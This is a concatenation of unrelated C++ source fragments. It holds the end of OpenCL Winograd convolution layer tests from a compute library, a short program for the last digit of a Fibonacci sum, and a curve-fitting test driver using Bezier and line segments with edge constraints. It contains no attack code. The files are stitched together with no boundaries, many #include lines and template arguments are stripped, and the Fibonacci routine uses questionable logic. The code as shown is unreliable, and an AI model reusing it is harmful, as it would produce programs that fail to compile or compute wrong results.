CLWinogradOutputTransformFixtureFP32, framework::DatasetMode::NIGHTLY, combine(combine(LargeWinogradOutputTransformDatasetNHWC, framework::dataset::make("DataType", { DataType::F32 })), framework::dataset::make("ActivationInfo",{ ActivationLayerInfo() }) )) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f32); } TEST_SUITE_END() // FP32 TEST_SUITE_END() // NHWC TEST_SUITE_END() // OutputTransform TEST_SUITE(ConvolutionLayer) DATA_TEST_CASE(Validate, framework::DatasetMode::ALL, zip(zip(zip(zip(zip( framework::dataset::make("InputInfo", { TensorInfo(TensorShape(17U, 31U, 2U), 1, DataType::F16), // Insufficient padding TensorInfo(TensorShape(17U, 31U, 2U), 1, DataType::F32), // Datatype mismatch TensorInfo(TensorShape(23U, 27U, 5U, 4U), 1, DataType::F32), // Stride y not supported TensorInfo(TensorShape(16U, 16U, 8U), 1, DataType::F32), // Padding needed TensorInfo(TensorShape(33U, 27U, 7U, 4U), 1, DataType::F32) // Kernel size not supported }), framework::dataset::make("WeightsInfo", { TensorInfo(TensorShape(3U, 3U, 2U, 19U), 1, DataType::F16), TensorInfo(TensorShape(3U, 3U, 2U, 19U), 1, DataType::QASYMM8), TensorInfo(TensorShape(3U, 3U, 5U, 21U), 1, DataType::F32), TensorInfo(TensorShape(3U, 3U, 8U, 16U), 1, DataType::F32), TensorInfo(TensorShape(5U, 5U, 7U, 16U), 1, DataType::F16) })), framework::dataset::make("BiasesInfo", { TensorInfo(TensorShape(19U), 1, DataType::F16), TensorInfo(TensorShape(19U), 1, DataType::F32), TensorInfo(TensorShape(21U), 1, DataType::F32), TensorInfo(TensorShape(16U), 1, DataType::F32), TensorInfo(TensorShape(16U), 1, DataType::F32) })), framework::dataset::make("OutputInfo", { TensorInfo(TensorShape(17U, 31U, 19U), 1, DataType::F16), TensorInfo(TensorShape(15U, 15U, 19U), 1, DataType::F32), TensorInfo(TensorShape(21U, 25U, 21U, 4U), 1, DataType::F32), TensorInfo(TensorShape(16U, 16U, 16U), 1, DataType::F32), TensorInfo(TensorShape(11U, 12U, 16U, 4U), 1, DataType::F32) })), framework::dataset::make("ConvInfo", { PadStrideInfo(1, 1, 1, 1), PadStrideInfo(1, 1, 1, 1), PadStrideInfo(1, 2, 0, 0), PadStrideInfo(1, 1, 1, 1), PadStrideInfo(1, 1, 1, 0) })), framework::dataset::make("Expected", { false, false, false, false, false })), input_info, weights_info, bias_info, output_info, conv_info, expected) { ARM_COMPUTE_EXPECT(bool(CLWinogradConvolutionLayer::validate(&input_info.clone()->set_is_resizable(false), &weights_info.clone()->set_is_resizable(false), &bias_info.clone()->set_is_resizable(false), &output_info.clone()->set_is_resizable(false), conv_info)) == expected, framework::LogLevel::ERRORS); } TEST_SUITE(FP32) using CLWinogradConvolutionLayerFastMathFixture = WinogradConvolutionLayerFastMathValidationFixture; TEST_SUITE(Conv3x3) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradConvolutionLayerFastMathFixture, framework::DatasetMode::PRECOMMIT, combine(combine(combine(datasets::SmallWinogradConvolutionLayer3x3Dataset(), framework::dataset::make("DataType", { DataType::F32 })), ActivationFunctionsSmallDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f32); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradConvolutionLayerFastMathFixture, framework::DatasetMode::NIGHTLY, combine(combine(combine(datasets::LargeWinogradConvolutionLayer3x3Dataset(), framework::dataset::make("DataType", { DataType::F32 })), ActivationFunctionsDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f32); } TEST_SUITE_END() // Conv3x3 TEST_SUITE(Conv3x1) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradConvolutionLayerFastMathFixture, framework::DatasetMode::PRECOMMIT, combine(combine(combine(datasets::SmallWinogradConvolutionLayer3x1Dataset(), framework::dataset::make("DataType", { DataType::F32 })), ActivationFunctionsSmallDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f32); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradConvolutionLayerFastMathFixture, framework::DatasetMode::NIGHTLY, combine(combine(combine(datasets::LargeWinogradConvolutionLayer3x1Dataset(), framework::dataset::make("DataType", { DataType::F32 })), ActivationFunctionsDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f32); } TEST_SUITE_END() // Conv3x1 TEST_SUITE(Conv1x3) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradConvolutionLayerFastMathFixture, framework::DatasetMode::PRECOMMIT, combine(combine(combine(datasets::SmallWinogradConvolutionLayer1x3Dataset(), framework::dataset::make("DataType", { DataType::F32 })), ActivationFunctionsSmallDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f32); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradConvolutionLayerFastMathFixture, framework::DatasetMode::NIGHTLY, combine(combine(combine(datasets::LargeWinogradConvolutionLayer1x3Dataset(), framework::dataset::make("DataType", { DataType::F32 })), ActivationFunctionsDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f32); } TEST_SUITE_END() // Conv1x3 TEST_SUITE(Conv5x5) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradConvolutionLayerFastMathFixture, framework::DatasetMode::PRECOMMIT, combine(combine(combine(datasets::SmallWinogradConvolutionLayer5x5Dataset(), framework::dataset::make("DataType", { DataType::F32 })), ActivationFunctionsSmallDataset ), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f32); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradConvolutionLayerFastMathFixture, framework::DatasetMode::NIGHTLY, combine(combine(combine(datasets::LargeWinogradConvolutionLayer5x5Dataset(), framework::dataset::make("DataType", { DataType::F32 })), ActivationFunctionsDataset ), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f32); } TEST_SUITE_END() // Conv5x5 TEST_SUITE(Conv5x1) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradConvolutionLayerFastMathFixture, framework::DatasetMode::PRECOMMIT, combine(combine(combine(datasets::SmallWinogradConvolutionLayer5x1Dataset(), framework::dataset::make("DataType", { DataType::F32 })), ActivationFunctionsSmallDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f32); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradConvolutionLayerFastMathFixture, framework::DatasetMode::NIGHTLY, combine(combine(combine(datasets::LargeWinogradConvolutionLayer5x1Dataset(), framework::dataset::make("DataType", { DataType::F32 })), ActivationFunctionsDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f32); } TEST_SUITE_END() // Conv5x1 TEST_SUITE(Conv1x5) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradConvolutionLayerFastMathFixture, framework::DatasetMode::PRECOMMIT, combine(combine(combine(datasets::SmallWinogradConvolutionLayer1x5Dataset(), framework::dataset::make("DataType", { DataType::F32 })), ActivationFunctionsSmallDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f32); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradConvolutionLayerFastMathFixture, framework::DatasetMode::NIGHTLY, combine(combine(combine(datasets::LargeWinogradConvolutionLayer1x5Dataset(), framework::dataset::make("DataType", { DataType::F32 })), ActivationFunctionsDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f32); } TEST_SUITE_END() // Conv1x5 TEST_SUITE_END() // FP32 TEST_SUITE(FP16) using CLWinogradConvolutionLayerFastMathFixture16 = WinogradConvolutionLayerFastMathValidationFixture; TEST_SUITE(Conv3x3) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradConvolutionLayerFastMathFixture16, framework::DatasetMode::PRECOMMIT, combine(combine(combine(datasets::SmallWinogradConvolutionLayer3x3Dataset(), framework::dataset::make("DataType", { DataType::F16 })), ActivationFunctionsSmallDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f16); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradConvolutionLayerFastMathFixture16, framework::DatasetMode::NIGHTLY, combine(combine(combine(datasets::LargeWinogradConvolutionLayer3x3Dataset(), framework::dataset::make("DataType", { DataType::F16 })), ActivationFunctionsDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, rel_tolerance_f16, tolerance_num, abs_tolerance_convolution_layer_f16); } TEST_SUITE_END() // Conv3x3 TEST_SUITE(Conv3x1) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradConvolutionLayerFastMathFixture16, framework::DatasetMode::PRECOMMIT, combine(combine(combine(datasets::SmallWinogradConvolutionLayer3x1Dataset(), framework::dataset::make("DataType", { DataType::F16 })), ActivationFunctionsSmallDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f16); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradConvolutionLayerFastMathFixture16, framework::DatasetMode::NIGHTLY, combine(combine(combine(datasets::LargeWinogradConvolutionLayer3x1Dataset(), framework::dataset::make("DataType", { DataType::F16 })), ActivationFunctionsDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, rel_tolerance_f16, tolerance_num, abs_tolerance_convolution_layer_f16); } TEST_SUITE_END() // Conv3x1 TEST_SUITE(Conv1x3) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradConvolutionLayerFastMathFixture16, framework::DatasetMode::PRECOMMIT, combine(combine(combine(datasets::SmallWinogradConvolutionLayer1x3Dataset(), framework::dataset::make("DataType", { DataType::F16 })), ActivationFunctionsSmallDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f16); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradConvolutionLayerFastMathFixture16, framework::DatasetMode::NIGHTLY, combine(combine(combine(datasets::LargeWinogradConvolutionLayer1x3Dataset(), framework::dataset::make("DataType", { DataType::F16 })), ActivationFunctionsDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, rel_tolerance_f16, tolerance_num, abs_tolerance_convolution_layer_f16); } TEST_SUITE_END() // Conv1x3 TEST_SUITE(Conv5x5) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradConvolutionLayerFastMathFixture16, framework::DatasetMode::PRECOMMIT, combine(combine(combine(datasets::SmallWinogradConvolutionLayer5x5Dataset(), framework::dataset::make("DataType", { DataType::F16 })), ActivationFunctionsSmallDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f16); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradConvolutionLayerFastMathFixture16, framework::DatasetMode::NIGHTLY, combine(combine(combine(datasets::LargeWinogradConvolutionLayer5x5Dataset(), framework::dataset::make("DataType", { DataType::F16 })), ActivationFunctionsDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, rel_tolerance_f16, tolerance_num, abs_tolerance_convolution_layer_f16); } TEST_SUITE_END() // Conv5x5 TEST_SUITE(Conv5x1) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradConvolutionLayerFastMathFixture16, framework::DatasetMode::PRECOMMIT, combine(combine(combine(datasets::SmallWinogradConvolutionLayer5x1Dataset(), framework::dataset::make("DataType", { DataType::F16 })), ActivationFunctionsSmallDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f16); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradConvolutionLayerFastMathFixture16, framework::DatasetMode::NIGHTLY, combine(combine(combine(datasets::LargeWinogradConvolutionLayer5x1Dataset(), framework::dataset::make("DataType", { DataType::F16 })), ActivationFunctionsDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, rel_tolerance_f16, tolerance_num, abs_tolerance_convolution_layer_f16); } TEST_SUITE_END() // Conv5x1 TEST_SUITE(Conv1x5) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradConvolutionLayerFastMathFixture16, framework::DatasetMode::PRECOMMIT, combine(combine(combine(datasets::SmallWinogradConvolutionLayer1x5Dataset(), framework::dataset::make("DataType", { DataType::F16 })), ActivationFunctionsSmallDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_convolution_layer_f16); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradConvolutionLayerFastMathFixture16, framework::DatasetMode::NIGHTLY, combine(combine(combine(datasets::LargeWinogradConvolutionLayer1x5Dataset(), framework::dataset::make("DataType", { DataType::F16 })), ActivationFunctionsDataset), framework::dataset::make("DataLayout", { DataLayout::NCHW, DataLayout::NHWC }))) { // Validate output validate(CLAccessor(_target), _reference, rel_tolerance_f16, tolerance_num, abs_tolerance_convolution_layer_f16); } TEST_SUITE_END() // Conv1x5 TEST_SUITE_END() // FP16 TEST_SUITE_END() // ConvolutionLayer TEST_SUITE_END() // Winograd TEST_SUITE_END() // CL } // namespace validation } // namespace test } // namespace arm_compute #include using namespace std; long long fib(long n) { if (n == -1) { return 0; } else if (n <= 1) { return n; } n %= 60; if (n == 0) return 0; long current = 0; long first = 0; long second = 1; long sum = 0; for (int i = 0; i <= n; i++) { current = (first + second) % 60; first = second; second = current; } return (current - 1) % 10; } long long LastDigit(long m, long n) { long long result = 10 + fib(n) - fib(m - 1); return result % 10; } int main() { long m; long n; cin >> m; cin >> n; long long fib = LastDigit(m, n); cout << fib; }1-10 // // Created by on 4/15/20. // #include "geometry/shapes2/CombinedCurve.h" #include #include #include "utils/io/csvFormat.h" #include "test/testUtils/curveFitUtils.h" int main(int argc, char **argv) { int ksize = 2; if (argc > 1) { ksize=std::stoi(argv[1]); } double default_line_cost = 0.0004; double default_bezier_cost = 0.0008; std::mt19937 random{std::random_device{}()}; using namespace Eigen; /*{ //test single circle arc curve int N = 3; for (int i=0; i<10; ++i) { Eigen::MatrixX2d d(N, 2); d.setRandom(); d.array() += 1; d /= 2; std::unique_ptr arc(new CircularArc); arc->fit(d, 0, 2); CombinedCurve curve; curve.addCurve(std::move(arc)); display_fit("circular_arc", curve, d, false); } }*/ /*{ MatrixX2d d = openData("../test_data/shapedetection-badhole/part_1_hole_1_segmentation_contour_0.csv").colwise().reverse(); int dataKsize = 5; if (d.rows() == 0 || d.cols() != 2) { std::cout << "invalid matrix size: " << d.rows() << ", " << d.cols() << std::endl; return 1; } d.rowwise() -= d.colwise().minCoeff(); double maxScale = d.maxCoeff(); d /= maxScale; double errorScale = 1.0 / 250.0; double curveCost = 0.05 * errorScale * errorScale; std::vector edges; LineConstraint edge1; edge1.edge = Edge2d({0.1, 0.03}, {0.3, 0.03}); edge1.threshold = 0.1; LineConstraint edge2; edge2.edge = Edge2d({0.4, 0.03}, {0.6, 0.03}); edge2.threshold = 0.1; edges.push_back(edge1); edges.push_back(edge2); auto curve = test_fit("badHole_cost_" + std::to_string(curveCost), d, curveCost, curveCost * 0.5, 50, 0, -1, dataKsize, edges); curve.fixKnots(60/180.0*M_PI, d); display_fit("badHole_regularized_fixedknots", curve, d); return 0; }*/ { //test erroneous alignment CombinedCurve curve; std::ifstream f("../test_data/curveData/part5_curveFit_5_constraints.txt"); curve.loadPlaintext(f); Vector2d minPt; double scale = computeScale(curve, minPt); std::cout << "scale: " << getDims(curve).transpose() << std::endl; display_curve("badCurve", curve, scale, minPt); } //#if false /*{ //test segmentation data int dataKsize = 12; std::vector ds; double maxScale = 0; for (int c : {1, 2, 0, 3}) { // MatrixXd d = openData("../test_data/shapedetection-newpipeline_minsize/part_" + std::to_string(c) + "_segmentation_contour.csv"); // MatrixXd d = openData("../test_data/shapedetection_newpipeline_avgsize/part_" + std::to_string(c) + "_segmentation_contour.csv"); MatrixXd d = openData("../test_data/shapedetection_newpipeline_minsize20/part_" + std::to_string(c) + "_segmentation_contour.csv"); if (d.rows() == 0 || d.cols() != 2) { std::cout << "invalid matrix size: " << d.rows() << ", " << d.cols() << std::endl; return 1; } d.rowwise() -= d.colwise().minCoeff(); maxScale = std::max(maxScale, d.maxCoeff()); ds.push_back(std::move(d)); } for (int c = 0; c < ds.size(); ++c) { auto &d = ds[c]; d /= maxScale; d *= 0.9; d.array() += 0.05; // std::cout << d << std::endl; std::string name = "realdata_" + std::to_string(c); display_curvatures(name, d, dataKsize, true, true); //for (size_t j=0; j<10; ++j) { //double curveCost = j * 0.00005; double errorScale = 1.0 / 250.0; double curveCost = 0.05 * errorScale * errorScale; // std::vector edges(1, (Matrix2d() << -0.1, 0.1, 1, 0.1).finished()); CombinedCurve curve = test_fit(name + "_cost_" + std::to_string(curveCost), d, curveCost, curveCost * 0.5, 50, 0, -1, dataKsize); //, edges, 0.05); Vector2d dir(0, 1); for (int i=0; icurvature(0); std::cout << "curvature at 1: " << curve->curvature(1); { CombinedCurve cCurve; cCurve.addCurve(curve->clone()); for (size_t i = 0; i < 10; i++) { double ang = static_cast(i) / 10 * 2 * M_PI; Eigen::Vector2d dir(cos(ang), sin(ang)); display_fit("Free tangents w/ projectedMin", cCurve, d, -1, true, {}, 0, {}, dir); } } { CombinedCurve cCurve; std::unique_ptr line = std::make_unique(); line->fit(d, 0, 4); cCurve.addCurve(std::move(line)); for (size_t i = 0; i < 10; i++) { double ang = static_cast(i) / 10 * 2 * M_PI; Eigen::Vector2d dir(cos(ang), sin(ang)); display_fit("Line segment w/ projectedMin", cCurve, d, -1, true, {}, 0, {}, dir); } } { auto curves = ((BezierCurve*) curve.get())->split(0.5); std::cout << "left curve: \n" << curves.first.points() << std::endl; std::cout << "right curve: \n" << curves.second.points() << std::endl; CombinedCurve left; left.addCurve(curves.first.clone()); display_fit("left curve", left, d); CombinedCurve right; right.addCurve(curves.second.clone()); display_fit("right curve", right, d); } test_bezier("Both constrained tangent", d, 0, 4, 3, Eigen::Vector2d(1, 1).normalized(), Eigen::Vector2d(-1, -1).normalized()); test_bezier("Left constrained tangent", d, 0, 4, 3, Eigen::Vector2d(0, 1).normalized()); test_bezier("Right constrained tangent", d, 0, 4, 3, Eigen::Vector2d(0, 0), Eigen::Vector2d(0, -1).normalized()); } { //test single bezier curve with free tangents int N = 3; Eigen::MatrixX2d d(N, 2); d << 0.2, 0.1, 0.4, 0.3, 0.6, 0.2; test_bezier("Degree 2", d, 0, 2); } { int N = 20; Eigen::MatrixX2d d(N, 2); for (int i = 0; i < N; i++) { double t = static_cast(i) / N; d.row(i) = Eigen::RowVector2d(0.25 * std::sin(t * M_PI * 2) + 0.5, 0.25 * std::cos(t * M_PI * 2) + 0.5); } test_fit("circle ", d, 0.0001, 0.0001); //for (int i=0; i(i * i) / (N * N); d.row(i) = Eigen::RowVector2d(0.25 * std::sin(t * M_PI * 2) + 0.5, 0.25 * std::cos(t * M_PI * 2) + 0.5); } test_fit("nonuniform circle", d, 0.0001, 0.0001); test_fit("partial nonuniform circle", d, 0.0001, 0.0001, -1, 25, 35); }*/ { CombinedCurve square; square.addCurve(std::make_unique((Eigen::Matrix2d() << 0.1, 0.1, 0.9, 0.1).finished())); square.addCurve(std::make_unique((Eigen::Matrix2d() << 0.9, 0.1, 0.9, 0.9).finished())); square.addCurve(std::make_unique((Eigen::Matrix2d() << 0.9, 0.9, 0.1, 0.9).finished())); square.addCurve(std::make_unique((Eigen::Matrix2d() << 0.1, 0.9, 0.1, 0.1).finished())); Eigen::MatrixX2d squarePoints = square.uniformSample(10, 10).colwise().reverse(); std::cout << "square points size: " << squarePoints.rows() << std::endl; { std::vector edges; edges.emplace_back((Eigen::Matrix2d() << 0.1, 0.1, 0.9, 0.1).finished(), 0.15); edges.emplace_back((Eigen::Matrix2d() << 0.9, 0.1, 0.9, 0.9).finished(), 0.15); edges.emplace_back((Eigen::Matrix2d() << 0.9, 0.9, 0.1, 0.9).finished(), 0.15); edges.emplace_back((Eigen::Matrix2d() << 0.1, 0.9, 0.1, 0.1).finished(), 0.15); test_fit("square_fullconstrained", squarePoints, default_bezier_cost, default_line_cost, -1, 0, -1, ksize, edges); } } { int N = 40; Eigen::MatrixX2d d(N, 2); for (int i = 0; i < N; i++) { double t = static_cast(i) / N; d.row(i) = Eigen::RowVector2d(0.3 * std::sin(t * M_PI * 2) + 0.5, 0.3 * std::cos(t * M_PI * 2) + 0.5); } { std::vector edges; edges.emplace_back((Eigen::Matrix2d() << 0.25, 0.1, 0.75, 0.1).finished(), 0.15); edges.emplace_back((Eigen::Matrix2d() << 0.9, 0.25, 0.9, 0.75).finished(), 0.15); edges.emplace_back((Eigen::Matrix2d() << 0.75, 0.9, 0.25, 0.9).finished(), 0.15); edges.emplace_back((Eigen::Matrix2d() << 0.1, 0.75, 0.1, 0.25).finished(), 0.15); test_fit("circle_fullconstrained_notstitched", d, 0.0001, 0.0001, -1, 0, -1, ksize, edges); } { std::vector edges; edges.emplace_back((Eigen::Matrix2d() << 0.1, 0.1, 0.9, 0.1).finished(), 0.15); edges.emplace_back((Eigen::Matrix2d() << 0.9, 0.1, 0.9, 0.9).finished(), 0.15); edges.emplace_back((Eigen::Matrix2d() << 0.9, 0.9, 0.1, 0.9).finished(), 0.15); edges.emplace_back((Eigen::Matrix2d() << 0.1, 0.9, 0.1, 0.1).finished(), 0.15); test_fit("circle_fullconstrained_stitched", d, 0.0001, 0.0001, -1, 0, -1, ksize, edges); } } { CombinedCurve domeCurve; domeCurve.addCurve(std::make_unique((Eigen::Matrix2d() << 0.1, 0.1, 0.9, 0.1).finished())); domeCurve.addCurve(std::make_unique((Eigen::Matrix2d() << 0.9, 0.1, 0.9, 0.5).finished())); Eigen::Matrix controlPoints; controlPoints << 0.9, 0.5, 0.9, 0.9, 0.1, 0.9, 0.1, 0.5; domeCurve.addCurve(std::make_unique(controlPoints)); domeCurve.addCurve(std::make_unique((Eigen::Matrix2d() << 0.1, 0.5, 0.1, 0.1).finished())); Eigen::MatrixX2d domePoints = domeCurve.uniformSample(10, 10).colwise().reverse(); { CombinedCurve domeTrans(domeCurve); display_curve("dome untranslated", domeTrans, 500, Vector2d(0, 0)); domeTrans.transform(Vector2d(0, 0.1), M_PI/4, 1); display_curve("dome translated", domeTrans, 500, Vector2d(0, 0)); } { test_fit("dome nolines", domePoints, default_bezier_cost, 1000, 4, 0, -1, ksize); } { CombinedCurve fitCurve = test_fit("dome", domePoints, default_bezier_cost, default_line_cost, 4, 0, -1, ksize); // for (size_t i = 0; i < 10; i++) { // double ang = static_cast(i) / 10 * 2 * M_PI; // Eigen::Vector2d dir(cos(ang), sin(ang)); // display_fit("Dome w/ projectedMin", fitCurve, domePoints, 5, true, {}, 0, {}, dir); // } } { std::vector edges; edges.emplace_back((Eigen::Matrix2d() << 0.1, 0.1, 0.9, 0.1).finished(), 0.01); test_fit("dome_constrained", domePoints, default_bezier_cost, default_line_cost, -1, 0, -1, ksize, edges); //test_bezier("dome_constrained_tangentPiece", d, 1, 3); //test_bezier("dome_constrained_tangentPiece2", d, 6, 8); } { std::vector edges; // edges.emplace_back((Eigen::Matrix2d() << 0.1, 0.1, 0.9, 0.1).finished(), 0.01); edges.emplace_back((Eigen::Matrix2d() << 0.9, 0.1, 0.9, 0.5).finished(), 0.01); edges.emplace_back((Eigen::Matrix2d() << 0.1, 0.1, 0.1, 0.5).finished(), 0.01); test_fit("dome_multi_constrained", domePoints, default_bezier_cost, default_line_cost, -1, 0, -1, ksize, edges); } { Eigen::MatrixX2d d = domePoints; // d(3, 1) += 0.5; std::vector edges; edges.emplace_back((Eigen::Matrix2d() << 0.35, 0.15, 0.95, 0.15).finished(), 0.07); auto curve = test_fit("dome_projected", d, default_bezier_cost, default_line_cost, -1, 0, -1, ksize,edges); curve.fixKnots(0.45); display_fit("dome_projected_aligned", curve, domePoints, -1, true, edges); } { std::vector edges; // edges.emplace_back((Eigen::Matrix2d() << 0.05, 0.15, 0.95, 0.15).finished(), 0.07); edges.emplace_back((Eigen::Matrix2d() << 0.84, 0.1, 0.84, 0.5).finished(), 0.07); edges.emplace_back((Eigen::Matrix2d() << 0.16, 0.1, 0.16, 0.5).finished(), 0.07); auto curve = test_fit("dome_multi_projected", domePoints, default_bezier_cost, default_line_cost, -1, 0, -1, ksize, edges); curve.fixKnots(0.45); display_fit("dome_multi_projected_aligned", curve, domePoints, -1, true, edges); } { std::vector edges; edges.emplace_back((Eigen::Matrix2d() << 0.05, 0.15, 0.95, 0.15).finished(), 0.07); edges.emplace_back((Eigen::Matrix2d() << 0.87, 0.1, 0.87, 0.5).finished(), 0.07); edges.emplace_back((Eigen::Matrix2d() << 0.1, 0.1, 0.1, 0.5).finished(), 0.07); edges.emplace_back((Eigen::Matrix2d() << 0.05, 0.5, 0.95, 0.5).finished(), 0.07); test_fit("dome_all_projected", domePoints, default_bezier_cost, default_line_cost, -1, 0, -1, ksize, edges); } { std::vector edges; edges.emplace_back((Eigen::Matrix2d() << 0.1, 0.15, 0.9, 0.15).finished(), 0.02); edges.emplace_back((Eigen::Matrix2d() << 0.87, 0.1, 0.87, 0.5).finished(), 0.02); edges.emplace_back((Eigen::Matrix2d() << 0.1, 0.1, 0.1, 0.5).finished(), 0.02); test_fit("dome_multi_projected_large_threshold", domePoints, default_bezier_cost, default_line_cost, -1, 0, -1, ksize, edges); } { std::vector edges; //edges.emplace_back((Eigen::Matrix2d() << 0.1, 0.15, 0.9, 0.15).finished(), 0.05); edges.emplace_back((Eigen::Matrix2d() << 0.87, 0.1, 0.87, 0.5).finished(), 0.05); edges.emplace_back((Eigen::Matrix2d() << 0.15, 0.1, 0.15, 0.5).finished(), 0.05); test_fit("dome_side_overlapping_projected", domePoints, default_bezier_cost, default_line_cost, -1, 0, -1, ksize, edges); } } { CombinedCurve trueCurve; trueCurve.addCurve(std::make_unique((Eigen::Matrix2d() <<0.1, 0.1, 0.9, 0.1).finished())); trueCurve.addCurve(std::make_unique((Eigen::Matrix2d() << 0.9, 0.1, 0.9, 0.5).finished())); Eigen::Matrix controlPoints; controlPoints << 0.9, 0.5, 0.9, 0.9, 0.1, 0.9, 0.1, 0.5; trueCurve.addCurve(std::make_unique(controlPoints)); trueCurve.addCurve(std::make_unique((Eigen::Matrix2d() <<0.1, 0.5, 0.1, 0.1).finished())); Eigen::MatrixX2d constraint = trueCurve.getCurve(2).uniformSample(10, 10);//.block(2, 0, 6, 2); std::vector constraints; std::vector edges; constraints.push_back(std::move(constraint)); Eigen::MatrixX2d d = trueCurve.uniformSample(20, 20); test_fit("dome curve constraint", d, default_bezier_cost, default_line_cost, -1, 0, -1, ksize, edges, 0.1, constraints); } { CombinedCurve trueCurve; trueCurve.addCurve(std::make_unique((Eigen::Matrix2d() <<0.1, 0.1, 0.9, 0.1).finished())); Eigen::Matrix controlPoints0; controlPoints0 << 0.9, 0.1, 0.7, 0.2, 0.7, 0.3, 0.9, 0.5; trueCurve.addCurve(std::make_unique(controlPoints0)); Eigen::Matrix controlPoints; controlPoints << 0.9, 0.5, 0.9, 0.9, 0.1, 0.9, 0.1, 0.5; trueCurve.addCurve(std::make_unique(controlPoints)); trueCurve.addCurve(std::make_unique((Eigen::Matrix2d() <<0.1, 0.5, 0.1, 0.1).finished())); Eigen::MatrixX2d d = trueCurve.uniformSample(20, 20); test_fit("dome multi curve", d, default_bezier_cost, default_line_cost, -1, 0, -1, ksize); } { CombinedCurve trueCurve; trueCurve.addCurve(std::make_unique((Eigen::Matrix2d() <<0.1, 0.1, 0.9, 0.1).finished())); Eigen::Matrix controlPoints0; controlPoints0 << 0.9, 0.1, 0.7, 0.2, 0.7, 0.3, 0.9, 0.5; trueCurve.addCurve(std::make_unique(controlPoints0)); Eigen::Matrix controlPoints; controlPoints << 0.9, 0.5, 0.9, 0.9, 0.1, 0.9, 0.1, 0.5; trueCurve.addCurve(std::make_unique(controlPoints)); trueCurve.addCurve(std::make_unique((Eigen::Matrix2d() <<0.1, 0.5, 0.1, 0.1).finished())); Eigen::MatrixX2d constraint0 = trueCurve.getCurve(1).uniformSample(10, 10); Eigen::MatrixX2d constraint = trueCurve.getCurve(2).uniformSample(10, 10);//.block(2, 0, 6, 2); std::vector 